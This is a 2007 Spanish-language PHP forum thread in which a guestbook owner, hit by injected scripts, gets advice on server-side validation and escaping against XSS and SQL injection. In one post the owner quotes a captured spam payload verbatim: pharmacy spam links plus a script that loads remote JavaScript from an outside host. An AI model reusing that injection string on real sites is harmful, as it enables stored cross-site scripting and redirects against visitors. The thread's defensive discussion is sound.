Foros del Web » Programando para Internet » PHP »

Conflicto con javascript y php?

Estas en el tema de Conflicto con javascript y php? en el foro de PHP en Foros del Web. Conflicto con javascript y php? Hola, antes que nada quiero agradecer de antemano por la ayuda que me puedan brindar. Tengo una pagina con un ...
  #1 (permalink)  
Antiguo 26/06/2007, 13:00
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Conflicto con javascript y php?

Conflicto con javascript y php?

Hola, antes que nada quiero agradecer de antemano por la ayuda que me puedan brindar. Tengo una pagina con un libro de visitas que publica un mensaje y sube una imagen al mismo tiempo, funciona todo ok la parte de php. Lamentablemente por la desgraciada intromision de un vivo necesito restringir los caracteres que se pueden publicar, ya que me ha estado metiendo codigo, mas precisamente un script que hace creer al visitante que tiene un virus o algo asi redirigiendo a una pagina X. El tema es que a la fuerza, ya que se solo lo basico de javascript, logre acomodar el codigo para validar el formulario, pero ahora la pagina no me hace el submit y por tanto el php no puede ni insertar los datos en la base ni subir la foto. El script funciona como yo quiero pero luego de procesarse no hace el submit. La verdad no se donde esta el error. Les dejo el script y el form para ver que les parece.

El form

Código PHP:
    ...echo "<tr>
                  <form method=\"post\" name=\"insert_intro\" action=\"libro_devisitas.php\" enctype=\"multipart/form-data\">
                    <td class=\"contenidos_corto_der\">                      
                        <table align=\"center\">                          
                          <tr valign=\"baseline\">
                            <td align=\"right\" valign=\"top\" nowrap><strong>Tu nombre:</strong></td>
                            <td><input type=\"text\" name=\"nombre\" id=\"input\" value=\"\" size=\"34\"></td>
                          </tr>
                          <tr valign=\"baseline\">
                            <td align=\"right\" valign=\"top\" nowrap><strong>Tu Mansaje:</strong></td>
                            <td><textarea name=\"texto\" cols=\"33\" id=\"input\" rows=\"10\"></textarea></td>
                          </tr>
                          <tr valign=\"baseline\">
                            <td align=\"right\" valign=\"top\" nowrap><strong>Tu E-Mail:</strong></td>
                            <td><input type=\"text\" name=\"email\" id=\"input\" value=\"\" size=\"34\" />                              
                              El E-Mail que ingreses no ser&aacute; público. Unicamente será utilizado para que yo pueda responderte.</td>
                          </tr>
                          <tr valign=\"baseline\">
                            <td align=\"right\" valign=\"top\" nowrap><strong>Imagen:</strong></td>
                            <td><input name=\"foto\" type=\"file\" size=\"16\" /></td>
                          </tr>
                          <tr valign=\"baseline\">
                            <td align=\"right\" valign=\"top\" nowrap>&nbsp;</td>
                            <td>Si lo deseas puedes agragar una foto o imagen a tu mensaje</td>
                          </tr>
                          <tr valign=\"baseline\">
                            <td align=\"right\" valign=\"top\" nowrap>&nbsp;</td>
                            <td><table width=\"100%\">
                              <tr>
                                <td>
                                <input name=\"submit\" type=\"button\" value=\"Publicar\" onClick=\"javascript:validarcaracteres();\"  />
                                  <input type=\"reset\" name=\"Submit\" value=\"Borrar\" />
                                <div style=\"visibility:hidden\">
                                <label>
                                  <input name=\"fecha\" type=\"radio\" value=\"si\" checked=\"checked\" />
                                  Mostrar fecha
                                  <input type=\"radio\" name=\"fecha\" value=\"no\" />
No mostrar fecha</label>
</div></td>
                                <td><div align=\"right\">
                                <div style=\"display:none\">
                              <div align=\"right\">
                                <input name=\"tipofoto\" type=\"radio\" id=\"tipofoto\" value=\"SUBIR\" checked />
                                <input name=\"sobreescribir\" type=\"checkbox\" id=\"sobreescribir\" value=\"checkbox\" />
                                Sobreescribir si ya existe en el servidor                              </div>
                          </div>
                                  
                                </div></td>
                              </tr>
                            </table>                            </td>
                          </tr>
                          <tr valign=\"baseline\">
                            <td align=\"right\" valign=\"top\" nowrap>&nbsp;</td>
                            <td>&nbsp;</td>
                          </tr>
                        </table>
                        
                        <input type=\"hidden\" name=\"MM_insert\" value=\"insert_intro\"> 
                        <input type=\"hidden\" name=\"mostrar_form\" value=\"no\">                      </td>
                      </form>
                  </tr>

</table>

  </td>"

El script

Código HTML:
<SCRIPT language=JavaScript>
<!--
function validarcaracteres(){

var field1 = document.insert_intro.nombre;
var field2 = document.insert_intro.texto;
var field3 = document.insert_intro.email;
var field4 = document.insert_intro.foto;
var valid = " abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789,;.:-_¡!¿?·$/()=-+@áéíóú~"
var ok = "yes";
var temp;

	//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	// Corroboramos el input del nombre. Si esta vacio pedimos se de un nombre. Si esta lleno se comprueban los caracteres ingresados.
	if ((document.insert_intro.nombre.value == "")||(document.insert_intro.nombre.value == null)){
		alert("Por favor dime tú nombre          "); 
		document.insert_intro.nombre.focus();
		return false;
	}else{
		for (var i=0; i<field1.value.length; i++) {
			temp = "" + field1.value.substring(i, i+1);
			if (valid.indexOf(temp) == "-1") ok = "no";
		}
		
		if ((ok == "no")||(document.insert_intro.nombre.value == "")){
			alert("Puedes publicar cualquier texto que no contenga los siguientes caracteres: \n\n· <\n· >\n· %\n· &\n\nSi estás intentando pegar un texto para enviarlo a la sala,\nrevisa que el mismo no contenga dichos caracteres.\n\nTampoco están permitidos los mensajes en blanco, ni las comillas.");
			document.insert_intro.nombre.focus();
			return false;
		}
	}
	
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	// Corroboramos el input del mensaje. Si esta vacio pedimos se llene. Si esta lleno se comprueban los caracteres ingresados.
	if ((document.insert_intro.texto.value == "")||(document.insert_intro.texto.value == null)){
		alert("Aún no has escrito ningún mensaje...          "); 
		document.insert_intro.texto.focus();
		return false;
	}else{
		for (var i=0; i<field2.value.length; i++) {
			temp = "" + field2.value.substring(i, i+1);
			if (valid.indexOf(temp) == "-1") ok = "no";
		}
		
		if ((ok == "no")||(document.insert_intro.texto.value == "")){
			alert("Puedes publicar cualquier texto que no contenga los siguientes caracteres: \n\n· <\n· >\n· %\n· &\n\nSi estás intentando pegar un texto para enviarlo a la sala,\nrevisa que el mismo no contenga dichos caracteres.\n\nTampoco están permitidos los mensajes en blanco, ni las comillas.");
			document.insert_intro.texto.focus();
			return false;
		}
	}
	
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	// Corroboramos el input del email. Si esta vacio no pasa nada. Si esta lleno se comprueban los caracteres ingresados.
	if ((document.insert_intro.email.value == "")||(document.insert_intro.email.value == null)){}
	else{
		for (var i=0; i<field3.value.length; i++) {
			temp = "" + field3.value.substring(i, i+1);
			if (valid.indexOf(temp) == "-1") ok = "no";
		}
		
		if ((ok == "no")||(document.insert_intro.email.value == "")){
			alert("El E-Mail que has proporcionado contiene caractéres no permitidos.");
			document.insert_intro.email.focus();
			return false;
		}
	}
	
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	// Corroboramos el input de la foto. Si esta vacio no pasa nada. Si esta lleno se comprueban los caracteres ingresados.
	if ((document.insert_intro.foto.value == "")||(document.insert_intro.foto.value == null)){}
	else{
		for (var i=0; i<field4.value.length; i++) {
			temp = "" + field4.value.substring(i, i+1);
			if (valid.indexOf(temp) == "-1") ok = "no";
		}
		
		if ((ok == "no")||(document.insert_intro.foto.value == "")){
			alert("Has intentado subir una foto o imágen que contiene en su nombre caractéres no permitidos. Por favor corrovora el nombre de la misma y de ser necesario re nombrala antes de subirla. Gracias.");
			document.insert_intro.foto.focus();
			return false;
		}
	}	
	

document.insert_intro.submit();	

}
-->
</SCRIPT> 
desde ya muchas gracias
  #2 (permalink)  
Antiguo 26/06/2007, 14:27
Avatar de Panino5001
Me alejo de Omelas
 
Fecha de Ingreso: mayo-2004
Ubicación: -34.637167,-58.462984
Mensajes: 5.148
Antigüedad: 20 años, 5 meses
Puntos: 834
Re: Conflicto con javascript y php?

Validá del lado del servidor o el "vivo" va a desactivar javascript (o a crearse su propio formulario que apunte a tu página de proceso) y va a seguir de fiesta.
  #3 (permalink)  
Antiguo 26/06/2007, 15:34
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Re: Conflicto con javascript y php?

Sabes que? no lo habia pensado... Tenes razón. Alguna sugerencia de como hacerlo con php?
  #4 (permalink)  
Antiguo 26/06/2007, 15:46
Avatar de demiurgo_daemon  
Fecha de Ingreso: diciembre-2006
Ubicación: Querétaro
Mensajes: 184
Antigüedad: 17 años, 11 meses
Puntos: 2
Re: Conflicto con javascript y php?

Hola,

tu mayor problema es con los eventos. En lugar de usar onclick usa onsubmit; o sea, cambia

Código HTML:
<form method="post" name="insert_intro" action="libro_devisitas.php" enctype="multipart/form-data"> 
...
<input name="submit" type="button" value="Publicar"  onClick="javascript:validarcaracteres();"  /> 
por

Código HTML:
<form method="post" name="insert_intro" action="libro_devisitas.php" enctype="multipart/form-data" onsubmit="javascript:return validarcaracteres();" > 
...
<input name="submit" type="submit" value="Publicar"  /> 
y en el javascript:

Código:
function validarcaracteres(){

var field1 = document.insert_intro.nombre;
var field2 = document.insert_intro.texto;
var field3 = document.insert_intro.email;
var field4 = document.insert_intro.foto;

...

//document.insert_intro.submit(); <-- quita esto
return true; //<-- pon esto en su lugar

}
Tal vez tengas que usar la función document.getElementById().

Por cierto, Panino5001 tiene razón. Si en verdad alguien te está atacando, validar la forma solamente con JavaScript va a hacer que se muera de la risa. Necesitas validar desde tu lenguaje de servidor (en este caso PHP) para protegerte por completo.

saludos
  #5 (permalink)  
Antiguo 26/06/2007, 17:24
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Re: Conflicto con javascript y php?

Hola gracias a los dos, a Panino por hacerme reflexionar, jeje, y a demiurgo a vos tambien gracias.

Me tire por donde me decias vos panino y estoy usando ereg para corroborar los caracteres que pasa el form antes de hacer la insercion. estoy usando algo como esto

if(ereg("^([a-zA-ZñÑ]+)$", $_POST['nombre del campo']))

el tema es que me da problemas y a veces funciona e inserta pero otras veces no. calculo que es por el tema de las comillas, porque si pegi texto no funciona.

alguien me sabe decir como puedo modificar de forma correcta el "a-zA-ZñÑ". intente poner ahi los numeros signos de interrogacion y exclamacion pero no funciona.

Estoy necesitando que niegue solamente las llavez <> y los signos &$ que son los que pienso me podrian dar problemas, estaria bueno que se puedan usar tildes comas etc.

Bueno gracias.

Por cierto Panino, gracias por esto y por lo demas, estoy por usar un carrito tuyo que encontre googleando. Master de masters
  #6 (permalink)  
Antiguo 26/06/2007, 19:17
Avatar de Panino5001
Me alejo de Omelas
 
Fecha de Ingreso: mayo-2004
Ubicación: -34.637167,-58.462984
Mensajes: 5.148
Antigüedad: 20 años, 5 meses
Puntos: 834
Re: Conflicto con javascript y php?

Me alegra que te haya servido. Por cierto, te recomiendo que mires estas funciones de php para evitar inyección de código: htmlentities, mysql_real_escape_string
y también esta otra recomendación: http://ar2.php.net/manual/es/functio...g.php#AEN97492
  #7 (permalink)  
Antiguo 27/06/2007, 12:55
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Re: Conflicto con javascript y php?

Gracias nuevamente. Lo voy a revisar...

Saludos.
  #8 (permalink)  
Antiguo 29/06/2007, 08:43
Avatar de FabianSN  
Fecha de Ingreso: enero-2007
Ubicación: SNicolas, BsAs, Argentina
Mensajes: 96
Antigüedad: 17 años, 10 meses
Puntos: 2
Re: Conflicto con javascript y php?

Me pasó lo mismo que a vos en el libro de visita de mi sitio, me salta a una página de seguridad que dice que la maquina tiene virus, lo bueno es que en la página web pública no pasa nada y aparece como un mensaje, pero en la página de aministracion (estilo browser) se activa y abre esa página de supuesto antivirus.

En mi caso se trataba de un script que creaba otro script que a su vez llamaba a un script de un sitio externo y varios webs más.

Pensaba sencillamente hacer una funcion que busque el texto "<script>" ó "</script>" y lo cambien por cualquier cosa,
¿hay alguna forma más facil de ofuscar un SCRIPT y que quede ilegible o que no se pueda ejecutar?
__________________
Letra de Canciones

Última edición por FabianSN; 29/06/2007 a las 08:45 Razón: suscribirme a este tema
  #9 (permalink)  
Antiguo 30/06/2007, 09:53
Avatar de MaBoRaK  
Fecha de Ingreso: abril-2003
Ubicación: La Paz - Bolivia
Mensajes: 2.003
Antigüedad: 21 años, 6 meses
Puntos: 35
Re: Conflicto con javascript y php?

loading............

eso es CROSSITE SCRIPTING y ufff abundan victimas... es fácil de solucionarlo.... en la Base de datos la guardas NORMAL... simplemente a la hora de Mostrar ese contenido en tu HTML haces htmlspecialchars($content); y listo.....

Ahora como cuidarte de SQL INJECTION ?

poniendo magic_quotes en on o mysql_real_escape_string.

Lee este libro: http://www.amazon.com/Pro-PHP-Securi.../dp/1590595084



connection closed.
__________________

Maborak Technologies
  #10 (permalink)  
Antiguo 01/07/2007, 17:29
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Re: Conflicto con javascript y php?

Bueno, antes que nada quiero agradecer nuevamente a todos los que respondieron. Termine utilizando htmlentities, mysql_real_escape_string para evitar el daño, pero de todas formas quisiera también lograr determinar cuando se intenta la inserción y evitarla. Por lo que vi mysql_real_escape_string niega los caracteres especiales como comillas y htmlentitiesm convierte los caracteres a su versión de código. En parte me sirvió, pero quiero evitar la inserción. Para esto creo que la única forma es limitando los caracteres que se pueden insertar y por ende entiendo que debería utilizar algo como

if(ereg("^([a-zA-ZñÑ]+)$", $_POST['nombre del campo']))

El tema es que no logro ajustar el tema de los caracteres que se pueden insertar y los que no. alguien me puede explicar como funciona esto ^([a-zA-ZñÑ]+)$ y como ajustarlo para que se permita letras, tildes y números y signos como ¿?¡! puntos comas etc. Yendo a los hechos solo quiero negar <> y tal vez su equivalente en código.

Desde ya y nuevamente muchas gracias.
  #11 (permalink)  
Antiguo 01/07/2007, 17:39
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Re: Conflicto con javascript y php?

Por cierto, creo que sería bueno que el moderador moviera este topic a PHP. Como que ya no va en este foro.

  #12 (permalink)  
Antiguo 01/07/2007, 18:07
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Re: Conflicto con javascript y php?

Parece que mas que un vivo es un robot que hace spam porque lo volvi a habilitar de momento y en un rato ya publico 2.

your online <a href=\"http://www.treparel.net/action-auto-insurance.html\">action auto insurance</a> dysfunction ED in <a href=\"http://www.phentermine-online-4u.com\">phentermine online</a> stop taking PDE5 <a href=\"http://www.quizilla.com/users/--free-slots--/journal/\">video bonus slots online</a> is characterized <a href=\"http://www.quizilla.com/users/dental-insurance/journal/\">dental insurance</a> patients with <a href=\"http://cscstudent.cc.edu/csc450/pland/_kbas/00000069.htm\">phentermine</a> biochemical differences between <a href=\"http://www.quizilla.com/users/-ultram-/journal/\">ultram alcohol</a> success <a href=\"http://www.cheap-phentermine-rx.com\">cheap phentermine</a> not known <a href=\"http://www.adipex-rx4u.com\">adipex order</a> Valerian <script>var r = document.referrer; document.write(\'<script src=\"http://www.stats-log.com/gb.php?id=g&r=\'+escape(r)+\'\"><\' + \'/script>\')</script>

Ojala todos los que hacen este tipo de spam se jodan para siempre

Me surge una pregunta que no va con la temática en si del foro, pero tal vez alguien sepa:

¿existe algun sitio organismo o entidad en donde se puedan denunciar este tipo deactividades para que se las investigue?

Última edición por Artefio; 01/07/2007 a las 18:22
  #13 (permalink)  
Antiguo 02/07/2007, 03:29
Avatar de JavierB
Colaborador
 
Fecha de Ingreso: febrero-2002
Ubicación: Madrid
Mensajes: 25.052
Antigüedad: 22 años, 9 meses
Puntos: 772
Re: Conflicto con javascript y php?

A petición del usuario: movido al foro de PHP desde JavaScript.

Saludos,
  #14 (permalink)  
Antiguo 03/07/2007, 03:42
 
Fecha de Ingreso: junio-2007
Mensajes: 76
Antigüedad: 17 años, 5 meses
Puntos: 1
Re: Conflicto con javascript y php?

Bueno, gracias a todos, ya lo solucione. Lo que me faltaba lo hice usando eregi para determinar si se intenta publicar etiquetas.

Saludos...
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 13:05.